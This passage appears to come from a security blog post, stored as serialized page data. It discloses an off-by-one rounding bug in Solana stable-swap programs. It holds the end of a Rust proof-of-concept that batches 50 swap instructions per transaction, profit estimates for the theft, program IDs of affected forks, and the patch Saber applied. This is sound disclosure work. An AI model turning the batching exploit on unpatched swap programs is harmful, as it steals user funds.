&vec![&test_account_signer]);\n}\n",[3471],{"type":23,"tag":209,"props":3472,"children":3473},{"__ignoreMap":7},[3474,3482,3521,3529,3558,3582,3598,3614,3638,3654,3670,3686,3702,3718,3730,3738,3760,3767,3775,3841,3848,3877,3885,3916,3924,3984],{"type":23,"tag":213,"props":3475,"children":3476},{"class":215,"line":216},[3477],{"type":23,"tag":213,"props":3478,"children":3479},{"style":537},[3480],{"type":28,"value":3481},"// from sbtc to renbtc\n",{"type":23,"tag":213,"props":3483,"children":3484},{"class":215,"line":226},[3485,3490,3495,3499,3503,3508,3513,3517],{"type":23,"tag":213,"props":3486,"children":3487},{"style":1362},[3488],{"type":28,"value":3489},"for",{"type":23,"tag":213,"props":3491,"children":3492},{"style":268},[3493],{"type":28,"value":3494}," i",{"type":23,"tag":213,"props":3496,"children":3497},{"style":230},[3498],{"type":28,"value":3141},{"type":23,"tag":213,"props":3500,"children":3501},{"style":514},[3502],{"type":28,"value":517},{"type":23,"tag":213,"props":3504,"children":3505},{"style":274},[3506],{"type":28,"value":3507}," ..",{"type":23,"tag":213,"props":3509,"children":3510},{"style":514},[3511],{"type":28,"value":3512}," 50",{"type":23,"tag":213,"props":3514,"children":3515},{"style":290},[3516],{"type":28,"value":474},{"type":23,"tag":213,"props":3518,"children":3519},{"style":220},[3520],{"type":28,"value":1375},{"type":23,"tag":213,"props":3522,"children":3523},{"class":215,"line":524},[3524],{"type":23,"tag":213,"props":3525,"children":3526},{"style":537},[3527],{"type":28,"value":3528}," // create swap transaction\n",{"type":23,"tag":213,"props":3530,"children":3531},{"class":215,"line":533},[3532,3536,3540,3545,3549,3554],{"type":23,"tag":213,"props":3533,"children":3534},{"style":230},[3535],{"type":28,"value":487},{"type":23,"tag":213,"props":3537,"children":3538},{"style":230},[3539],{"type":28,"value":492},{"type":23,"tag":213,"props":3541,"children":3542},{"style":268},[3543],{"type":28,"value":3544}," swap_instruction",{"type":23,"tag":213,"props":3546,"children":3547},{"style":274},[3548],{"type":28,"value":511},{"type":23,"tag":213,"props":3550,"children":3551},{"style":257},[3552],{"type":28,"value":3553}," swap",{"type":23,"tag":213,"props":3555,"children":3556},{"style":220},[3557],{"type":28,"value":1511},{"type":23,"tag":213,"props":3559,"children":3560},{"class":215,"line":543},[3561,3565,3570,3574,3578],{"type":23,"tag":213,"props":3562,"children":3563},{"style":274},[3564],{"type":28,"value":1818},{"type":23,"tag":213,"props":3566,"children":3567},{"style":220},[3568],{"type":28,"value":3569},"spl_token",{"type":23,"tag":213,"props":3571,"children":3572},{"style":274},[3573],{"type":28,"value":562},{"type":23,"tag":213,"props":3575,"children":3576},{"style":257},[3577],{"type":28,"value":1804},{"type":23,"tag":213,"props":3579,"children":3580},{"style":220},[3581],{"type":28,"value":1809},{"type":23,"tag":213,"props":3583,"children":3584},{"class":215,"line":551},[3585,3589,3594],{"type":23,"tag":213,"props":3586,"children":3587},{"style":274},[3588],{"type":28,"value":1818},{"type":23,"tag":213,"props":3590,"children":3591},{"style":268},[3592],{"type":28,"value":3593},"swap_pubkey",{"type":23,"tag":213,"props":3595,"children":3596},{"style":220},[3597],{"type":28,"value":944},{"type":23,"tag":213,"props":3599,"children":3600},{"class":215,"line":570},[3601,3605,3610],{"type":23,"tag":213,"props":3602,"children":3603},{"style":274},[3604],{"type":28,"value":1818},{"type":23,"tag":213,"props":3606,"children":3607},{"style":268},[3608],{"type":28,"value":3609},"swap_authority_pubkey",{"type":23,"tag":213,"props":3611,"children":3612},{"style":220},[3613],{"type":28,"value":944},{"type":23,"tag":213,"props":3615,"children":3616},{"class":215,"line":655},[3617,3621,3626,3630,3634],{"type":23,"tag":213,"props":3618,"children":3619},{"style":274},[3620],{"type":28,"value":1818},{"type":23,"tag":213,"props":3622,"children":3623},{"style":268},[3624],{"type":28,"value":3625},"test_account_signer",{"type":23,"tag":213,"props":3627,"children":3628},{"style":274},[3629],{"type":28,"value":124},{"type":23,"tag":213,"props":3631,"children":3632},{"style":257},[3633],{"type":28,"value":99},{"type":23,"tag":213,"props":3635,"children":3636},{"style":220},[3637],{"type":28,"value":1809},{"type":23,"tag":213,"props":3639,"children":3640},{"class":215,"line":1176},[3641,3645,3650],{"type":23,"tag":213,"props":3642,"children":3643},{"style":274},[3644],{"type":28,"value":1818},{"type":23,"tag":213,"props":3646,"children":3647},{"style":268},[3648],{"type":28,"value":3649},"sbtc_user_account",{"type":23,"tag":213,"props":3651,"children":3652},{"style":220},[3653],{"type":28,"value":944},{"type":23,"tag":213,"props":3655,"children":3656},{"class":215,"line":1202},[3657,3661,3666],{"type":23,"tag":213,"props":3658,"children":3659},{"style":274},[3660],{"type":28,"value":1818},{"type":23,"tag":213,"props":3662,"children":3663},{"style":268},[3664],{"type":28,"value":3665},"sbtc_reserve",{"type":23,"tag":213,"props":3667,"children":3668},{"style":220},[3669],{"type":28,"value":944},{"type":23,"tag":213,"props":3671,"children":3672},{"class":215,"line":1758},[3673,3677,3682],{"type":23,"tag":213,"props":3674,"children":3675},{"style":274},[3676],{"type":28,"value":1818},{"type":23,"tag":213,"props":3678,"children":3679},{"style":268},[3680],{"type":28,"value":3681},"renbtc_reserve",{"type":23,"tag":213,"props":3683,"children":3684},{"style":220},[3685],{"type":28,"value":944},{"type":23,"tag":213,"props":3687,"children":3688},{"class":215,"line":1767},[3689,3693,3698],{"type":23,"tag":213,"props":3690,"children":3691},{"style":274},[3692],{"type":28,"value":1818},{"type":23,"tag":213,"props":3694,"children":3695},{"style":268},[3696],{"type":28,"value":3697},"renbtc_user_account",{"type":23,"tag":213,"props":3699,"children":3700},{"style":220},[3701],{"type":28,"value":944},{"type":23,"tag":213,"props":3703,"children":3704},{"class":215,"line":1789},[3705,3709,3714],{"type":23,"tag":213,"props":3706,"children":3707},{"style":274},[3708],{"type":28,"value":1818},{"type":23,"tag":213,"props":3710,"children":3711},{"style":268},[3712],{"type":28,"value":3713},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":213,"props":3715,"children":3716},{"style":220},[3717],{"type":28,"value":944},{"type":23,"tag":213,"props":3719,"children":3720},{"class":215,"line":1812},[3721,3726],{"type":23,"tag":213,"props":3722,"children":3723},{"style":514},[3724],{"type":28,"value":3725}," 1",{"type":23,"tag":213,"props":3727,"children":3728},{"style":220},[3729],{"type":28,"value":944},{"type":23,"tag":213,"props":3731,"children":3732},{"class":215,"line":1838},[3733],{"type":23,"tag":213,"props":3734,"children":3735},{"style":514},[3736],{"type":28,"value":3737}," 2\n",{"type":23,"tag":213,"props":3739,"children":3740},{"class":215,"line":1851},[3741,3746,3750,3755],{"type":23,"tag":213,"props":3742,"children":3743},{"style":220},[3744],{"type":28,"value":3745}," )",{"type":23,"tag":213,"props":3747,"children":3748},{"style":274},[3749],{"type":28,"value":124},{"type":23,"tag":213,"props":3751,"children":3752},{"style":257},[3753],{"type":28,"value":3754},"unwrap",{"type":23,"tag":213,"props":3756,"children":3757},{"style":220},[3758],{"type":28,"value":3759},"();\n",{"type":23,"tag":213,"props":3761,"children":3762},{"class":215,"line":1864},[3763],{"type":23,"tag":213,"props":3764,"children":3765},{"emptyLinePlaceholder":18},[3766],{"type":28,"value":530},{"type":23,"tag":213,"props":3768,"children":3769},{"class":215,"line":1890},[3770],{"type":23,"tag":213,"props":3771,"children":3772},{"style":537},[3773],{"type":28,"value":3774}," // nonce\n",{"type":23,"tag":213,"props":3776,"children":3777},{"class":215,"line":1899},[3778,3783,3787,3792,3796,3801,3805,3809,3813,3817,3822,3827,3831,3836],{"type":23,"tag":213,"props":3779,"children":3780},{"style":268},[3781],{"type":28,"value":3782}," swap_instruction",{"type":23,"tag":213,"props":3784,"children":3785},{"style":274},[3786],{"type":28,"value":124},{"type":23,"tag":213,"props":3788,"children":3789},{"style":220},[3790],{"type":28,"value":3791},"data",{"type":23,"tag":213,"props":3793,"children":3794},{"style":274},[3795],{"type":28,"value":124},{"type":23,"tag":213,"props":3797,"children":3798},{"style":257},[3799],{"type":28,"value":3800},"append",{"type":23,"tag":213,"props":3802,"children":3803},{"style":220},[3804],{"type":28,"value":265},{"type":23,"tag":213,"props":3806,"children":3807},{"style":274},[3808],{"type":28,"value":405},{"type":23,"tag":213,"props":3810,"children":3811},{"style":230},[3812],{"type":28,"value":287},{"type":23,"tag":213,"props":3814,"children":3815},{"style":257},[3816],{"type":28,"value":1665},{"type":23,"tag":213,"props":3818,"children":3819},{"style":220},[3820],{"type":28,"value":3821},"[",{"type":23,"tag":213,"props":3823,"children":3824},{"style":268},[3825],{"type":28,"value":3826},"i",{"type":23,"tag":213,"props":3828,"children":3829},{"style":220},[3830],{"type":28,"value":424},{"type":23,"tag":213,"props":3832,"children":3833},{"style":268},[3834],{"type":28,"value":3835},"extranonce",{"type":23,"tag":213,"props":3837,"children":3838},{"style":220},[3839],{"type":28,"value":3840},"]);\n",{"type":23,"tag":213,"props":3842,"children":3843},{"class":215,"line":1912},[3844],{"type":23,"tag":213,"props":3845,"children":3846},{"emptyLinePlaceholder":18},[3847],{"type":28,"value":530},{"type":23,"tag":213,"props":3849,"children":3850},{"class":215,"line":1921},[3851,3855,3859,3864,3868,3872],{"type":23,"tag":213,"props":3852,"children":3853},{"style":230},[3854],{"type":28,"value":487},{"type":23,"tag":213,"props":3856,"children":3857},{"style":230},[3858],{"type":28,"value":492},{"type":23,"tag":213,"props":3860,"children":3861},{"style":268},[3862],{"type":28,"value":3863}," instructions",{"type":23,"tag":213,"props":3865,"children":3866},{"style":274},[3867],{"type":28,"value":511},{"type":23,"tag":213,"props":3869,"children":3870},{"style":257},[3871],{"type":28,"value":1665},{"type":23,"tag":213,"props":3873,"children":3874},{"style":220},[3875],{"type":28,"value":3876},"[];\n",{"type":23,"tag":213,"props":3878,"children":3880},{"class":215,"line":3879},22,[3881],{"type":23,"tag":213,"props":3882,"children":3883},{"emptyLinePlaceholder":18},[3884],{"type":28,"value":530},{"type":23,"tag":213,"props":3886,"children":3888},{"class":215,"line":3887},23,[3889,3894,3898,3903,3907,3912],{"type":23,"tag":213,"props":3890,"children":3891},{"style":268},[3892],{"type":28,"value":3893}," instructions",{"type":23,"tag":213,"props":3895,"children":3896},{"style":274},[3897],{"type":28,"value":124},{"type":23,"tag":213,"props":3899,"children":3900},{"style":257},[3901],{"type":28,"value":3902},"push",{"type":23,"tag":213,"props":3904,"children":3905},{"style":220},[3906],{"type":28,"value":265},{"type":23,"tag":213,"props":3908,"children":3909},{"style":268},[3910],{"type":28,"value":3911},"swap_instruction",{"type":23,"tag":213,"props":3913,"children":3914},{"style":220},[3915],{"type":28,"value":2867},{"type":23,"tag":213,"props":3917,"children":3919},{"class":215,"line":3918},24,[3920],{"type":23,"tag":213,"props":3921,"children":3922},{"emptyLinePlaceholder":18},[3923],{"type":28,"value":530},{"type":23,"tag":213,"props":3925,"children":3927},{"class":215,"line":3926},25,[3928,3933,3937,3942,3946,3950,3955,3959,3963,3968,3972,3976,3980],{"type":23,"tag":213,"props":3929,"children":3930},{"style":268},[3931],{"type":28,"value":3932}," env",{"type":23,"tag":213,"props":3934,"children":3935},{"style":274},[3936],{"type":28,"value":124},{"type":23,"tag":213,"props":3938,"children":3939},{"style":257},[3940],{"type":28,"value":3941},"execute_as_transaction",{"type":23,"tag":213,"props":3943,"children":3944},{"style":220},[3945],{"type":28,"value":265},{"type":23,"tag":213,"props":3947,"children":3948},{"style":274},[3949],{"type":28,"value":405},{"type":23,"tag":213,"props":3951,"children":3952},{"style":268},[3953],{"type":28,"value":3954},"instructions",{"type":23,"tag":213,"props":3956,"children":3957},{"style":220},[3958],{"type":28,"value":424},{"type":23,"tag":213,"props":3960,"children":3961},{"style":274},[3962],{"type":28,"value":405},{"type":23,"tag":213,"props":3964,"children":3965},{"style":257},[3966],{"type":28,"value":3967},"vec!",{"type":23,"tag":213,"props":3969,"children":3970},{"style":220},[3971],{"type":28,"value":3821},{"type":23,"tag":213,"props":3973,"children":3974},{"style":274},[3975],{"type":28,"value":405},{"type":23,"tag":213,"props":3977,"children":3978},{"style":268},[3979],{"type":28,"value":3625},{"type":23,"tag":213,"props":3981,"children":3982},{"style":220},[3983],{"type":28,"value":3840},{"type":23,"tag":213,"props":3985,"children":3987},{"class":215,"line":3986},26,[3988],{"type":23,"tag":213,"props":3989,"children":3990},{"style":220},[3991],{"type":28,"value":1208},{"type":23,"tag":24,"props":3993,"children":3994},{},[3995],{"type":28,"value":3996},"It works!",{"type":23,"tag":3036,"props":3998,"children":3999},{},[4000],{"type":23,"tag":24,"props":4001,"children":4002},{},[4003],{"type":28,"value":4004},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":4006,"children":4007},{},[4008],{"type":23,"tag":4009,"props":4010,"children":4012},"img",{"alt":7,"src":4011},"/posts/spl-swap/poc.png",[],{"type":23,"tag":47,"props":4014,"children":4016},{"id":4015},"exploitability",[4017],{"type":28,"value":4018},"Exploitability",{"type":23,"tag":24,"props":4020,"children":4021},{},[4022],{"type":28,"value":4023},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":4025,"children":4026},{},[4027],{"type":28,"value":4028},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":4030,"children":4031},{},[4032],{"type":28,"value":4033},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":4035,"children":4036},{},[4037],{"type":23,"tag":4009,"props":4038,"children":4040},{"alt":7,"src":4039},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":4042,"children":4043},{},[4044,4046,4051],{"type":28,"value":4045},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":87,"props":4047,"children":4048},{},[4049],{"type":28,"value":4050},"per instruction",{"type":28,"value":4052},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":4054,"children":4055},{},[4056],{"type":28,"value":4057},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":4059,"children":4060},{},[4061,4063,4068],{"type":28,"value":4062},"Some quick napkin math confirms that this ",{"type":23,"tag":87,"props":4064,"children":4065},{},[4066],{"type":28,"value":4067},"is",{"type":28,"value":4069}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":4071,"children":4072},{},[4073],{"type":23,"tag":209,"props":4074,"children":4078},{"className":4075},[4076,4077],"language-math","math-inline",[4079],{"type":23,"tag":213,"props":4080,"children":4083},{"className":4081},[4082],"katex",[4084],{"type":23,"tag":213,"props":4085,"children":4088},{"className":4086,"ariaHidden":1710},[4087],"katex-html",[4089,4198,4254,4294],{"type":23,"tag":213,"props":4090,"children":4093},{"className":4091},[4092],"base",[4094,4100,4107,4171,4181,4187,4194],{"type":23,"tag":213,"props":4095,"children":4099},{"className":4096,"style":4098},[4097],"strut","height:0.8141em;",[],{"type":23,"tag":213,"props":4101,"children":4104},{"className":4102},[4103],"mord",[4105],{"type":28,"value":4106},"1",{"type":23,"tag":213,"props":4108,"children":4110},{"className":4109},[4103],[4111,4117],{"type":23,"tag":213,"props":4112,"children":4114},{"className":4113},[4103],[4115],{"type":28,"value":4116},"0",{"type":23,"tag":213,"props":4118,"children":4121},{"className":4119},[4120],"msupsub",[4122],{"type":23,"tag":213,"props":4123,"children":4126},{"className":4124},[4125],"vlist-t",[4127],{"type":23,"tag":213,"props":4128,"children":4131},{"className":4129},[4130],"vlist-r",[4132],{"type":23,"tag":213,"props":4133,"children":4136},{"className":4134,"style":4098},[4135],"vlist",[4137],{"type":23,"tag":213,"props":4138,"children":4140},{"style":4139},"top:-3.063em;margin-right:0.05em;",[4141,4147],{"type":23,"tag":213,"props":4142,"children":4146},{"className":4143,"style":4145},[4144],"pstrut","height:2.7em;",[],{"type":23,"tag":213,"props":4148,"children":4154},{"className":4149},[4150,4151,4152,4153],"sizing","reset-size6","size3","mtight",[4155],{"type":23,"tag":213,"props":4156,"children":4158},{"className":4157},[4103,4153],[4159,4165],{"type":23,"tag":213,"props":4160,"children":4162},{"className":4161},[4103,4153],[4163],{"type":28,"value":4164},"−",{"type":23,"tag":213,"props":4166,"children":4168},{"className":4167},[4103,4153],[4169],{"type":28,"value":4170},"8",{"type":23,"tag":213,"props":4172,"children":4174},{"className":4173},[4103,28],[4175],{"type":23,"tag":213,"props":4176,"children":4178},{"className":4177},[4103],[4179],{"type":28,"value":4180}," BTC",{"type":23,"tag":213,"props":4182,"children":4186},{"className":4183,"style":4185},[4184],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":213,"props":4188,"children":4191},{"className":4189},[4190],"mbin",[4192],{"type":28,"value":4193},"∗",{"type":23,"tag":213,"props":4195,"children":4197},{"className":4196,"style":4185},[4184],[],{"type":23,"tag":213,"props":4199,"children":4201},{"className":4200},[4092],[4202,4207,4213,4220,4225,4231,4241,4245,4250],{"type":23,"tag":213,"props":4203,"children":4206},{"className":4204,"style":4205},[4097],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":213,"props":4208,"children":4210},{"className":4209},[4103],[4211],{"type":28,"value":4212},"$41",{"type":23,"tag":213,"props":4214,"children":4217},{"className":4215},[4216],"mpunct",[4218],{"type":28,"value":4219},",",{"type":23,"tag":213,"props":4221,"children":4224},{"className":4222,"style":4223},[4184],"margin-right:0.1667em;",[],{"type":23,"tag":213,"props":4226,"children":4228},{"className":4227},[4103],[4229],{"type":28,"value":4230},"400/",{"type":23,"tag":213,"props":4232,"children":4234},{"className":4233},[4103,28],[4235],{"type":23,"tag":213,"props":4236,"children":4238},{"className":4237},[4103],[4239],{"type":28,"value":4240},"BTC",{"type":23,"tag":213,"props":4242,"children":4244},{"className":4243,"style":4185},[4184],[],{"type":23,"tag":213,"props":4246,"children":4248},{"className":4247},[4190],[4249],{"type":28,"value":4193},{"type":23,"tag":213,"props":4251,"children":4253},{"className":4252,"style":4185},[4184],[],{"type":23,"tag":213,"props":4255,"children":4257},{"className":4256},[4092],[4258,4263,4269,4279,4284,4290],{"type":23,"tag":213,"props":4259,"children":4262},{"className":4260,"style":4261},[4097],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":4264,"children":4266},{"className":4265},[4103],[4267],{"type":28,"value":4268},"150",{"type":23,"tag":213,"props":4270,"children":4272},{"className":4271},[4103,28],[4273],{"type":23,"tag":213,"props":4274,"children":4276},{"className":4275},[4103],[4277],{"type":28,"value":4278}," swaps",{"type":23,"tag":213,"props":4280,"children":4283},{"className":4281,"style":4282},[4184],"margin-right:0.2778em;",[],{"type":23,"tag":213,"props":4285,"children":4288},{"className":4286},[4287],"mrel",[4289],{"type":28,"value":3190},{"type":23,"tag":213,"props":4291,"children":4293},{"className":4292,"style":4282},[4184],[],{"type":23,"tag":213,"props":4295,"children":4297},{"className":4296},[4092],[4298,4303],{"type":23,"tag":213,"props":4299,"children":4302},{"className":4300,"style":4301},[4097],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":213,"props":4304,"children":4306},{"className":4305},[4103],[4307],{"type":28,"value":4308},"$0.0621",{"type":23,"tag":24,"props":4310,"children":4311},{},[4312],{"type":28,"value":4313},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":4315,"children":4316},{},[4317],{"type":28,"value":4318},"We're well on our way to becoming a millionaire!",{"type":23,"tag":47,"props":4320,"children":4322},{"id":4321},"patch",[4323],{"type":28,"value":4324},"Patch",{"type":23,"tag":24,"props":4326,"children":4327},{},[4328],{"type":28,"value":4329},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":4331,"children":4332},{},[4333],{"type":28,"value":4334},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":202,"props":4336,"children":4340},{"code":4337,"language":4338,"meta":7,"className":4339,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[4341],{"type":23,"tag":209,"props":4342,"children":4343},{"__ignoreMap":7},[4344],{"type":23,"tag":213,"props":4345,"children":4346},{"class":215,"line":216},[4347,4351,4356,4361,4366,4371,4376],{"type":23,"tag":213,"props":4348,"children":4349},{"style":257},[4350],{"type":28,"value":16},{"type":23,"tag":213,"props":4352,"children":4353},{"style":246},[4354],{"type":28,"value":4355}," logs",{"type":23,"tag":213,"props":4357,"children":4358},{"style":246},[4359],{"type":28,"value":4360}," -um",{"type":23,"tag":213,"props":4362,"children":4363},{"style":274},[4364],{"type":28,"value":4365}," |",{"type":23,"tag":213,"props":4367,"children":4368},{"style":257},[4369],{"type":28,"value":4370}," grep",{"type":23,"tag":213,"props":4372,"children":4373},{"style":246},[4374],{"type":28,"value":4375}," 'Instruction: Swap'",{"type":23,"tag":213,"props":4377,"children":4378},{"style":246},[4379],{"type":28,"value":4380}," -B1\n",{"type":23,"tag":24,"props":4382,"children":4383},{},[4384],{"type":28,"value":4385},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":202,"props":4387,"children":4389},{"code":4388},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[4390],{"type":23,"tag":209,"props":4391,"children":4392},{"__ignoreMap":7},[4393],{"type":28,"value":4388},{"type":23,"tag":24,"props":4395,"children":4396},{},[4397],{"type":28,"value":4398},"Now it was time to contact these teams.",{"type":23,"tag":24,"props":4400,"children":4401},{},[4402],{"type":28,"value":4403},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":4405,"children":4406},{},[4407],{"type":28,"value":4408},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":202,"props":4410,"children":4412},{"code":4411,"language":205,"meta":7,"className":206,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[4413],{"type":23,"tag":209,"props":4414,"children":4415},{"__ignoreMap":7},[4416,4470,4482],{"type":23,"tag":213,"props":4417,"children":4418},{"class":215,"line":216},[4419,4424,4428,4433,4437,4442,4446,4450,4454,4458,4462,4466],{"type":23,"tag":213,"props":4420,"children":4421},{"style":274},[4422],{"type":28,"value":4423},"-",{"type":23,"tag":213,"props":4425,"children":4426},{"style":230},[4427],{"type":28,"value":3163},{"type":23,"tag":213,"props":4429,"children":4430},{"style":268},[4431],{"type":28,"value":4432}," dy",{"type":23,"tag":213,"props":4434,"children":4435},{"style":274},[4436],{"type":28,"value":511},{"type":23,"tag":213,"props":4438,"children":4439},{"style":268},[4440],{"type":28,"value":4441}," swap_destination_amount",{"type":23,"tag":213,"props":4443,"children":4444},{"style":274},[4445],{"type":28,"value":124},{"type":23,"tag":213,"props":4447,"children":4448},{"style":257},[4449],{"type":28,"value":3332},{"type":23,"tag":213,"props":4451,"children":4452},{"style":220},[4453],{"type":28,"value":265},{"type":23,"tag":213,"props":4455,"children":4456},{"style":268},[4457],{"type":28,"value":3212},{"type":23,"tag":213,"props":4459,"children":4460},{"style":220},[4461],{"type":28,"value":2121},{"type":23,"tag":213,"props":4463,"children":4464},{"style":274},[4465],{"type":28,"value":2126},{"type":23,"tag":213,"props":4467,"children":4468},{"style":220},[4469],{"type":28,"value":313},{"type":23,"tag":213,"props":4471,"children":4472},{"class":215,"line":226},[4473,4477],{"type":23,"tag":213,"props":4474,"children":4475},{"style":274},[4476],{"type":28,"value":2703},{"type":23,"tag":213,"props":4478,"children":4479},{"style":537},[4480],{"type":28,"value":4481}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":213,"props":4483,"children":4484},{"class":215,"line":524},[4485,4489,4493,4497,4501,4505,4509,4513,4517,4521,4525,4529,4533,4537,4541,4545,4549],{"type":23,"tag":213,"props":4486,"children":4487},{"style":274},[4488],{"type":28,"value":2703},{"type":23,"tag":213,"props":4490,"children":4491},{"style":230},[4492],{"type":28,"value":3163},{"type":23,"tag":213,"props":4494,"children":4495},{"style":268},[4496],{"type":28,"value":4432},{"type":23,"tag":213,"props":4498,"children":4499},{"style":274},[4500],{"type":28,"value":511},{"type":23,"tag":213,"props":4502,"children":4503},{"style":268},[4504],{"type":28,"value":4441},{"type":23,"tag":213,"props":4506,"children":4507},{"style":274},[4508],{"type":28,"value":124},{"type":23,"tag":213,"props":4510,"children":4511},{"style":257},[4512],{"type":28,"value":3332},{"type":23,"tag":213,"props":4514,"children":4515},{"style":220},[4516],{"type":28,"value":265},{"type":23,"tag":213,"props":4518,"children":4519},{"style":268},[4520],{"type":28,"value":3212},{"type":23,"tag":213,"props":4522,"children":4523},{"style":220},[4524],{"type":28,"value":2121},{"type":23,"tag":213,"props":4526,"children":4527},{"style":274},[4528],{"type":28,"value":3230},{"type":23,"tag":213,"props":4530,"children":4531},{"style":257},[4532],{"type":28,"value":3332},{"type":23,"tag":213,"props":4534,"children":4535},{"style":220},[4536],{"type":28,"value":265},{"type":23,"tag":213,"props":4538,"children":4539},{"style":514},[4540],{"type":28,"value":4106},{"type":23,"tag":213,"props":4542,"children":4543},{"style":220},[4544],{"type":28,"value":2121},{"type":23,"tag":213,"props":4546,"children":4547},{"style":274},[4548],{"type":28,"value":2126},{"type":23,"tag":213,"props":4550,"children":4551},{"style":220},[4552],{"type":28,"value":313},{"type":23,"tag":24,"props":4554,"children":4555},{},[4556,4558,4565],{"type":28,"value":4557},"For reference, here is the ",{"type":23,"tag":36,"props":4559,"children":4562},{"href":4560,"rel":4561},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[40],[4563],{"type":28,"value":4564},"Curve.fi implementation",{"type":28,"value":124},{"type":23,"tag":202,"props":4567,"children":4571},{"code":4568,"language":4569,"meta":7,"className":4570,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[4572],{"type":23,"tag":209,"props":4573,"children":4574},{"__ignoreMap":7},[4575,4637],{"type":23,"tag":213,"props":4576,"children":4577},{"class":215,"line":216},[4578,4583,4587,4592,4596,4601,4605,4610,4614,4619,4624,4628,4632],{"type":23,"tag":213,"props":4579,"children":4580},{"style":220},[4581],{"type":28,"value":4582}," dy",{"type":23,"tag":213,"props":4584,"children":4585},{"style":274},[4586],{"type":28,"value":277},{"type":23,"tag":213,"props":4588,"children":4589},{"style":290},[4590],{"type":28,"value":4591}," uint256",{"type":23,"tag":213,"props":4593,"children":4594},{"style":274},[4595],{"type":28,"value":511},{"type":23,"tag":213,"props":4597,"children":4598},{"style":220},[4599],{"type":28,"value":4600}," xp[j] ",{"type":23,"tag":213,"props":4602,"children":4603},{"style":274},[4604],{"type":28,"value":4423},{"type":23,"tag":213,"props":4606,"children":4607},{"style":220},[4608],{"type":28,"value":4609}," y ",{"type":23,"tag":213,"props":4611,"children":4612},{"style":274},[4613],{"type":28,"value":4423},{"type":23,"tag":213,"props":4615,"children":4616},{"style":514},[4617],{"type":28,"value":4618}," 1",{"type":23,"tag":213,"props":4620,"children":4621},{"style":220},[4622],{"type":28,"value":4623}," # ",{"type":23,"tag":213,"props":4625,"children":4626},{"style":274},[4627],{"type":28,"value":4423},{"type":23,"tag":213,"props":4629,"children":4630},{"style":514},[4631],{"type":28,"value":4106},{"type":23,"tag":213,"props":4633,"children":4634},{"style":220},[4635],{"type":28,"value":4636}," just in case there were some rounding errors\n",{"type":23,"tag":213,"props":4638,"children":4639},{"class":215,"line":226},[4640,4645,4649,4653,4657,4662,4666,4671,4676],{"type":23,"tag":213,"props":4641,"children":4642},{"style":220},[4643],{"type":28,"value":4644}," dy_fee",{"type":23,"tag":213,"props":4646,"children":4647},{"style":274},[4648],{"type":28,"value":277},{"type":23,"tag":213,"props":4650,"children":4651},{"style":290},[4652],{"type":28,"value":4591},{"type":23,"tag":213,"props":4654,"children":4655},{"style":274},[4656],{"type":28,"value":511},{"type":23,"tag":213,"props":4658,"children":4659},{"style":220},[4660],{"type":28,"value":4661}," dy ",{"type":23,"tag":213,"props":4663,"children":4664},{"style":274},[4665],{"type":28,"value":1696},{"type":23,"tag":213,"props":4667,"children":4668},{"style":220},[4669],{"type":28,"value":4670}," self.fee 